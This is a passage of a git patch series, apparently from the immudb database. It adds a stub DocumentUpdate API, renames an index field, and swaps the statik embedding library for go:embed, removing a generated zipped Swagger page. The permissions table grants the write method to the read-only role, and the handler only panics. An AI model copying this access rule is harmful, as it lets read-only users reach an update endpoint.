0x85, 0x01, 0x12, 0x29, - 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, - 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, - 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, - 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, - 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, - 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, - 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, - 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, + 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, + 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, + 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, + 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, + 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, + 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, + 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, + 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, + 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, + 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, + 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, + 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, + 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/pkg/api/documentschema/documentschema.proto b/pkg/api/documentschema/documentschema.proto index d4804a7930..e3e96e4d6d 100644 --- a/pkg/api/documentschema/documentschema.proto +++ b/pkg/api/documentschema/documentschema.proto @@ -61,7 +61,8 @@ message DocumentInsertResponse { message DocumentUpdateRequest { string collection = 1; - google.protobuf.Struct document = 2; + string documentId = 2; + google.protobuf.Struct document = 3; } message DocumentUpdateResponse { @@ -145,7 +146,7 @@ message DocumentAudit { message IndexOption { IndexType type = 1; - bool unique = 2; + bool isUnique = 2; } enum IndexType { diff --git a/pkg/api/documentschema/documentschema.swagger.json b/pkg/api/documentschema/documentschema.swagger.json index 779cae3e42..7c66f382e4 100644 --- a/pkg/api/documentschema/documentschema.swagger.json +++ b/pkg/api/documentschema/documentschema.swagger.json @@ -526,6 +526,9 @@ "collection": { "type": "string" }, + "documentId": { + "type": "string" + }, "document": { "type": "object" } @@ -549,7 +552,7 @@ "type": { "$ref": "#/definitions/documentschemaIndexType" }, - "unique": { + "isUnique": { "type": "boolean" } } From f299688429025c72147b895ea0936b2b51ac6755 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Thu, 30 Mar 2023 12:07:23 +0200 Subject: [PATCH 0390/1062] Document update --- pkg/auth/permissions.go | 2 ++ pkg/server/documents_operations.go | 9 +++++++++ 2 files changed, 11 insertions(+) diff --git a/pkg/auth/permissions.go b/pkg/auth/permissions.go index 18243553f0..5a854df416 100644 --- a/pkg/auth/permissions.go +++ b/pkg/auth/permissions.go @@ -44,6 +44,7 @@ var maintenanceMethods = map[string]struct{}{ "DescribeTable": {}, "VerifiableSQLGet": {}, "DocumentInsert": {}, + "DocumentUpdate": {}, "DocumentSearch": {}, "CollectionCreate": {}, "CollectionGet": {}, @@ -113,6 +114,7 @@ var methodsPermissions = map[string][]uint32{ "DescribeTable": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "VerifiableSQLGet": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "DocumentInsert": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, + "DocumentUpdate": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "DocumentSearch": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "CollectionCreate": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "CollectionGet": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 1d5d8a4731..03c3a85268 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -34,6 +34,15 @@ func (s *ImmuServer) DocumentInsert(ctx context.Context, req *documentschema.Doc return resp, nil } +// TODO: implement +func (s *ImmuServer) DocumentUpdate(ctx context.Context, req *documentschema.DocumentUpdateRequest) (*documentschema.DocumentUpdateResponse, error) { + _, err := s.getDBFromCtx(ctx, "DocumentUpdate") + if err != nil { + return nil, err + } + panic("Not implemented") +} + func (s *ImmuServer) DocumentSearch(ctx context.Context, req *documentschema.DocumentSearchRequest) (*documentschema.DocumentSearchResponse, error) { db, err := s.getDBFromCtx(ctx, "DocumentSearch") if err != nil { From 7597a9da6a3ca1dc672d4a8c06a14299887f0563 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Thu, 30 Mar 2023 20:13:05 +0200 Subject: [PATCH 0391/1062] Removed statik dependency due to go upgrade --- BUILD.md | 4 ++-- Makefile | 14 +++++++------- go.mod | 1 - go.sum | 2 -- swagger/swagger.go | 13 ++++++------- swagger/swagger_default.go | 13 ++++++------- swagger/swaggerembedded/statik.go | 16 ---------------- tools.go | 1 - webconsole/webconsole.go | 13 ++++++------- webconsole/webconsole_default.go | 12 ++++++------ webconsole/webconsoleembedded/statik.go | 16 ---------------- 11 files changed, 33 insertions(+), 72 deletions(-) delete mode 100644 swagger/swaggerembedded/statik.go delete mode 100644 webconsole/webconsoleembedded/statik.go diff --git a/BUILD.md b/BUILD.md index f6245e95e7..e1fcc3a22b 100644 --- a/BUILD.md +++ b/BUILD.md @@ -14,10 +14,10 @@ make WEBCONSOLE=default ``` This will download the appropriate webconsole release and add the Go build tag `webconsole` -which will use the *statik* library to embed the front-end code. +which will use the go:embed to embed the front-end code. The front-end will be then served in the web API root "/". -The webconsole generation will override the default page statik.go. To regenerate the default page, change the files in webconsole/default and run `make webconsole/default` +To regenerate the default page, change the files in webconsole/default and run `make webconsole/default` ## Linux (by component) diff --git a/Makefile b/Makefile index d7ad1ef505..a17952b3b8 100644 --- a/Makefile +++ b/Makefile @@ -86,11 +86,11 @@ webconsole/default: .PHONY: immuclient immuclient: - $(GO) build $(IMMUDB_BUILD_TAGS) -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immuclient + $(GO) build -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immuclient .PHONY: immuadmin immuadmin: - $(GO) build $(IMMUDB_BUILD_TAGS) -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immuadmin + $(GO) build -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immuadmin .PHONY: immudb immudb: webconsole swagger @@ -98,11 +98,11 @@ immudb: webconsole swagger .PHONY: immutest immutest: - $(GO) build $(IMMUDB_BUILD_TAGS) -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immutest + $(GO) build -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immutest .PHONY: immuclient-static immuclient-static: - CGO_ENABLED=0 $(GO) build $(IMMUDB_BUILD_TAGS) -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immuclient + CGO_ENABLED=0 $(GO) build -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immuclient .PHONY: immuclient-fips immuclient-fips: @@ -111,7 +111,7 @@ immuclient-fips: .PHONY: immuadmin-static immuadmin-static: - CGO_ENABLED=0 $(GO) build $(IMMUDB_BUILD_TAGS) -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immuadmin + CGO_ENABLED=0 $(GO) build -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immuadmin .PHONY: immuadmin-fips immuadmin-fips: @@ -120,7 +120,7 @@ immuadmin-fips: .PHONY: immudb-static immudb-static: webconsole - CGO_ENABLED=0 $(GO) build $(IMMUDB_BUILD_TAGS) $(IMMUDB_BUILD_TAGS) -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immudb + CGO_ENABLED=0 $(GO) build $(IMMUDB_BUILD_TAGS) -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immudb .PHONY: immudb-fips immudb-fips: webconsole @@ -129,7 +129,7 @@ immudb-fips: webconsole .PHONY: immutest-static immutest-static: - CGO_ENABLED=0 $(GO) build $(IMMUDB_BUILD_TAGS) -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immutest + CGO_ENABLED=0 $(GO) build -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immutest .PHONY: vendor vendor: diff --git a/go.mod b/go.mod index 4b2936a10c..485ca9e907 100644 --- a/go.mod +++ b/go.mod @@ -23,7 +23,6 @@ require ( github.com/prometheus/common v0.32.1 github.com/prometheus/procfs v0.7.3 github.com/pseudomuto/protoc-gen-doc v1.4.1 - github.com/rakyll/statik v0.1.7 github.com/rogpeppe/go-internal v1.9.0 github.com/rs/xid v1.3.0 github.com/schollz/progressbar/v2 v2.15.0 diff --git a/go.sum b/go.sum index 7e2b352e33..1b376971fe 100644 --- a/go.sum +++ b/go.sum @@ -557,8 +557,6 @@ github.com/pseudomuto/protoc-gen-doc v1.4.1/go.mod h1:exDTOVwqpp30eV/EDPFLZy3Pwr github.com/pseudomuto/protokit v0.2.0/go.mod h1:2PdH30hxVHsup8KpBTOXTBeMVhJZVio3Q8ViKSAXT0Q= github.com/pseudomuto/protokit v0.2.1 h1:kCYpE3thoR6Esm0CUvd5xbrDTOZPvQPTDeyXpZfrJdk= github.com/pseudomuto/protokit v0.2.1/go.mod h1:gt7N5Rz2flBzYafvaxyIxMZC0TTF5jDZfRnw25hAAyo= -github.com/rakyll/statik v0.1.7 h1:OF3QCZUuyPxuGEP7B4ypUa7sB/iHtqOTDYZXGM8KOdQ= -github.com/rakyll/statik v0.1.7/go.mod h1:AlZONWzMtEnMs7W4e/1LURLiI49pIMmp6V9Unghqrcc= github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/robfig/cron v1.2.0/go.mod h1:JGuDeoQd7Z6yL4zQhZ3OPEVHB7fL6Ka6skscFHfmt2k= diff --git a/swagger/swagger.go b/swagger/swagger.go index c61c4cca82..372f56cdb6 100644 --- a/swagger/swagger.go +++ b/swagger/swagger.go @@ -3,24 +3,23 @@ package swagger -//go:generate go run github.com/rakyll/statik -f -src=./dist -p=swaggerembedded -dest=. -tags=swagger - import ( + "embed" + "io/fs" "net/http" - _ "github.com/codenotary/immudb/swagger/swaggerembedded" - "github.com/codenotary/immudb/pkg/logger" - "github.com/rakyll/statik/fs" ) -var statikFS, err = fs.New() +//go:embed dist/* +var content embed.FS func SetupSwaggerUI(mux *http.ServeMux, l logger.Logger, addr string) error { + fSys, err := fs.Sub(content, "dist") if err != nil { return err } l.Infof("Swagger UI enabled: %s", addr) - mux.Handle("/api/docs/", http.StripPrefix("/api/docs", http.FileServer(statikFS))) + mux.Handle("/api/docs/", http.StripPrefix("/api/docs", http.FileServer(http.FS(fSys)))) return nil } diff --git a/swagger/swagger_default.go b/swagger/swagger_default.go index eff33661f7..5f42ea26ea 100644 --- a/swagger/swagger_default.go +++ b/swagger/swagger_default.go @@ -3,20 +3,19 @@ package swagger -//go:generate go run github.com/rakyll/statik -f -src=./default -p=swaggerembedded -dest=. -tags=!swagger - import ( + "embed" + "io/fs" "net/http" "github.com/codenotary/immudb/pkg/logger" - "github.com/rakyll/statik/fs" - - _ "github.com/codenotary/immudb/swagger/swaggerembedded" ) -var statikFS, err = fs.New() +//go:embed default/* +var content embed.FS func SetupSwaggerUI(mux *http.ServeMux, l logger.Logger, addr string) error { + fSys, err := fs.Sub(content, "default") if err != nil { return err } @@ -24,6 +23,6 @@ func SetupSwaggerUI(mux *http.ServeMux, l logger.Logger, addr string) error { mux.HandleFunc("/api/docs/", func(w http.ResponseWriter, r *http.Request) { http.Redirect(w, r, "/missingswagger/", http.StatusTemporaryRedirect) }) - mux.Handle("/missingswagger/", http.StripPrefix("/missingswagger", http.FileServer(statikFS))) + mux.Handle("/missingswagger/", http.StripPrefix("/missingswagger", http.FileServer(http.FS(fSys)))) return nil } diff --git a/swagger/swaggerembedded/statik.go b/swagger/swaggerembedded/statik.go deleted file mode 100644 index 54c02fe06c..0000000000 --- a/swagger/swaggerembedded/statik.go +++ /dev/null @@ -1,16 +0,0 @@ -// Code generated by statik. DO NOT EDIT. - -// +build !swagger - -package swaggerembedded - -import ( - "github.com/rakyll/statik/fs" -) - - -func init() { - data := "PK\x03\x04\x14\x00\x08\x00\x08\x00\xa9xUV\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00 \x00index.htmlUT\x05\x00\x01\xaf\xdd\xf4c\x94TQk\xdc8\x10~\xcf\xaf\x98\xd3\x11H\xc0^\xed.,\x04\xc7\xf6\xc3%y\x08\x1cw\xa1i\xa0y\x1c\xdbc[T\xd6\xb8\xd28\xdb\xa5\xf4\xbf\x17\xc7\xde\xec.M\x0b}\xb1\xe4\x99\xf9\xbe\xd1\xa7\xf9P\xfa\xd7\xed\xff7\x1f\x9f\x1f\xee\xa0\x95\xce\xe6g\xe9\xb8\x80E\xd7d\x8a\x9c\xca\xcf\x00\xd2\x96\xb0\x1a7\x00\xa9\x18\xb1\x94\xff\xc7\xf0\xb8\xc5\xa6!\x0fO\xf7@\x0e\x0bKU\xaa\xa7\xe4T\xd8\x91 \xb4\"}L_\x06\xf3\x92\xa9\x1b,[\x8ao\xd8\x89g\xab\xa0d'\xe4$S\x8e\xe3rLE\xe08\x0e\xc2\x9e\"\xe8\x86 \xb1\xa7\x17\xb4\xa6B!\x05\xfaW\xac\x0f\x1e\x9b\x0e\xdf\xa1\xfb\x0d\xe6\xeeko<\x85#\xd0\xf2P\x1dd\xb7\xd7\x00Pp\xb5\x83o\xf3\x0f@\x81\xe5\xe7\xc6\xf3\xe0\xaa\xb8d\xcb>\x81\xbf\xd7\xab\xf5z]^\xbf\x95\xd4\xec$\xae\xb13v\x97\xc0\x07.X8\x82\x80.\xc4\x81\xbc\xa9\x0f\x853\x81o\x8a\x8b\xd5\xd5&\x82\xfd\xe7r_\xf2}^1\x02L^L0B\xd5\xd1YN\x18\xd6#vu\x15\xc1z\xb5\xfc\x89`1\xcaD\xe3\xc8\x9f\xc0\x01z\x0eF\x0c\xbb\x04\xb0\x08l\x07\xa1\xeb\x93\xbcp\x9f\xc0fy~\x1a\xb5T\xcb;a\xf1\xe8B\xcd\xbeK\xa6\xadE\xa1O\x17\xf1fy~y\x08=\xaf\x1a\x90R\x90\xcb\xb4\x92\xfdM)\xa5\xf2G\x16\xcdlv\xedO\x8c\x9a\x05P\xe4\xda\xfe\xce\xda\xfa\xda\x8a\xff\xf0\x0b{\xfemb\xc3\xd4\xc1\xaf\xd3\xb9\xf9\x05\x1ey\xa7\xfb\x87?\xb4\xc1\x83\xd0\xb4_\xcd]\xa3\xbe\xd9},\x1e\xfd\x8an\xe5~\xc8\"\x9e\xc0\xa9\xfe\x89\x95\x8f\x85_R\x8a\x06\xf4-\xd2}B`\xe4\x8fg\xc2\x87z!\xb4\x91\x9a\x0fI8:\xa6\xcf$\x84\x8e\xccHd(\xdbwF2\xdae\x02z&\xd4\xcd\xb9\x9c\x99%\xfd@j\xee\xcet(c5iU\xa6\xbf-7\xbd\xfe F/~L\x02\x8d.\xea\x05@\xf4\xae\xc0\xfb\x07\xa5TcH\x1f\x07\xce\x15@\x168D\x9dV4\xbdI\xa7T\xb1E\x911-\xbe@\xc9\xd9,]\x14sA\xec\xc3\x92\x83\xdc\x0c\xcem\xd6\x1b\xcbk\x90\xdeG\xd4 u\xeb\x08\x11\x17\xb2\xc5\\\xa4\x18l8\xa4\xc4=\x9cy\xb2 2E\x0e\xf2\x82+\x88 \xe0\x95\xc7LRaHm\xe6\xffB\xdb\xc2\x1dO#_#@\x15\x18F@\xfe\xe6h\"[\xf9\xb0zR\x87G7F\xdbQ\xc1%M#\x8e\x16[z\xa0\x07%\x19\x03\x10^ D\xbe\xadeW[X\xc0\xa5\x94\xb2\xae\xa3\x9ds\xc9\x1e\x04\x92C\x14\xa9\xcex\xa8\x83\xe6{\xc7l\x1cg\xaf_\xb1C\xb3u7`\xf8;h\xf0\xd2\x1f\xc4m;\x14\x06\xe3\x87\x9d[13Q\xb82P\x9e\x83:\x8e\xcb\x05\xbae\xb4:\xcc\xee\x08JG\xc6\x99\xf6\x0cKs\xb9\x97\x04\xe7NG\xdb\xa3/V\xd9\xb8\x99\xb6\xdc\xf6\xbcL\xaa\x81\xb68\xed\x1cZ\xa1[\x0e\x8cy\xaf\x08\x84\x0c\xae\xdf:\x16\xf1\xb7\x0c\x1ep\xd2Ix\x8f\x19N\xde>\xf4\x18\xa7d(\xf9\xf5)Q\x97K{\xa0\x91,x\xce\xc1\x8fj\x1b\xcb\xc8u\xdfs\xd6s$\xd3\xbf\x98 \xef\xe3\x8e\x84u\xea\x9e|N\xbb:\x9c\xf4\xc3\xd2\x17\xab\x0c\xa1a\x85\xc9\xd6Y\xba\xc1\xea\xdd\xc3\x00$:r\x17:vs\x0c\x85\x10AM\xe1\xe8\x88\xd3\xa1\xc7\xb0\x19__\x13:\xd6\xc0\x04\xb5\xa7\xb8\x1a,\xfe\xcb\xf80\x18\xc9\xf6\xc3B\x18\xd0dPH][\xef\xbb;` \xe3\xd6 \x1cx\x8e\x91}aN\xc9\xccf\xef9\x85f\xb5_;^\x1b*VG& kNz\x8d+y2\xc7\xbb\x91\xdd\x8b\x86p\xa8\xe3'\xd9\x13w\xcb\xcf\x96\xc0\x81\xdb\x07\xdee\x11f\xe3\x969\xd1{\xb0\xe6\xa8\x9eU\x9d\xde\x95\x0b\x88=*\xac\x1b\x8a\x1af\n\xec15\x8a\xe7\x0d{\x13\x83\xdb\x08\x05\x9b\xb7\xae\x19!\xbbT\x10Y\xd9\xa3\x9a\xf0\x14?V\xd8\x90\xc4\x7f*\xb1\x1f\x87?\x99\xe4,\x03\xc2M\x06\x16\xc5\x8f\x16\xd6\xf8&g\xca\xc6\xed}\xaa:\x99\xa1\x9e\xa6\x06\xc6\xd3x\xc8-\xd1\n\xa9\x0f\x92 \x1d\xbc\xfc\xef'\x0f\x81\x0c^4\xa2$ A\xddL!f \x1cP\xff\xe4Z\x18#\xc4-\xf7K\xdeGd!\x87\x0e\x184\xb2\x0e\x16&\xf0Y\xdb{x\x17\x9d\xfb\x11\xb9\x95\xe9\xab\x7f\xd6i\xb5%\xfeE\x1d\xf3n\xc7z\x91\xc5Wem\xcaa\xb2\xb4'\xea\x1f\xf0Q@\xbf_\xceA\x04\xcd\x93Hzp\xd8\xa0\xfdk\x7f\xa2\xd8\x0f\x12\x87\xa0\n\x87\x03?\xcf\xe1\xcd[\xaa\x9fb\xbd\x90e\x11\xf6\xad:L\xd2\x81\xa5\x82\xa4Wu\xeco\x03\x8b\xd7\xe6\xdf&\x0b\xb6c\xd5\x15\xb6\xbcs\xb3\xe9\xef\xa2\xf0y\x85E\xce\x1a\xc8>\xden\xeev\xfc{\x84jM\xcb\xb3\xc1cZ.\x063O\xd0\xfe\xb4\"\x0f\xe4\xe6\"\xebwTj\xfe\xd6p\x83U\x14kc \xec\x1fq\xbf\xf4P\xf1\xac\xc4\x91\xc5\x17|\xe7Z\x0fY?\xc7\xce\xc3\xbf\x8dW~\x1d\x95\xac\xf5\x00\x02\x9d\x18,t\xc9\x14\x8aa\xfbZ=,\"\xd36_\\\xbe\xbei\xd5qm3I\xb2\xcf\xeef\xd3\x8e; O\x84h\x84\xbd?\xe4 \xa7\xca\\\x99\x15\x9e\xcb0{\xda\x9a\xc6\xce\xd6j\x9f&\xb5\xb7mAv\x11!\x8e\xdc\x13\xbb\x065\x95\xf3\x9e\x06$\xfc\x83i\x0ep9\xfe\xde\x7f\xcam\xa8}4\xf2\xcc\x19[\xe6\xdaw\x90*\x97\xa4\x18(\xf8\xbb}\xfa\xa0\xa6\x94\x9b\x7f\x99@.z\xd2\xec\xf0\x96-\xc1\xecf\x12_\x17\xde\x9b\x11\xd5\x1brc\x8f\xa6\xef\xfek\x11g\x85\xfe\x12\x11\xd8 \xbb\x83\xbab\xcb\x89W\xdf\xd4\xbb +\xdfA \x0b8\x18\xfd\xfe\x1d\xa3m\xc6\xacB\xbe+\xa5\xbb3_\xe3\x0dZu\xa5\x1c!\xf6K*\x8b^\xb4ap\xe7\"\xa4\x03\x001\xea=!\xab<\xf3Ec\x7f\xfb\xe1\xdd\xc6\xd3U]\xceG`\xe8\xb5\\ \xa5\xfc\xbe\xdf+\x98\xcb\xf5Z\xd8%\xa3S\x0e\xea\xb3\xdbz|\xbf\xdcv\xa1\x81,\x1e+\xe4c\xd0\xd8R\x86|D\x8fdo\x0e\xd3%\xacB\x8a\x0d\xa2h_\xc1\xbf\xc0\x96wY\xee\xb7\xa3mg\xff\xce\x9ad\xfb\x9ex\xe7\xf2=\x1e\xdb\xc7\xe3\x1f\x9fu\x93a{\\1/\xfb\x92\x10k|\xe2R\x9f2\x15\xac\x9d\xb6\xba\xdfp\xdc\x138\xdb\xd9\xc8\xbd)\xc7\xa7\x94gz\xdep\x7f\xcf\x8b\xd8\x94\x19\x0d;?\x1cX\xe14#\xe4GH\xf4\xf1\x81_\xee\x81\x82[\xee\x97\xdc\xdeu\x9e\x8c\xab\x1d\x17\xee\x0c\xb7\xaa\xe5\xad\xfcf/{jV\xbe-\x80\x1a\xb6\x8e\"\x8fq> 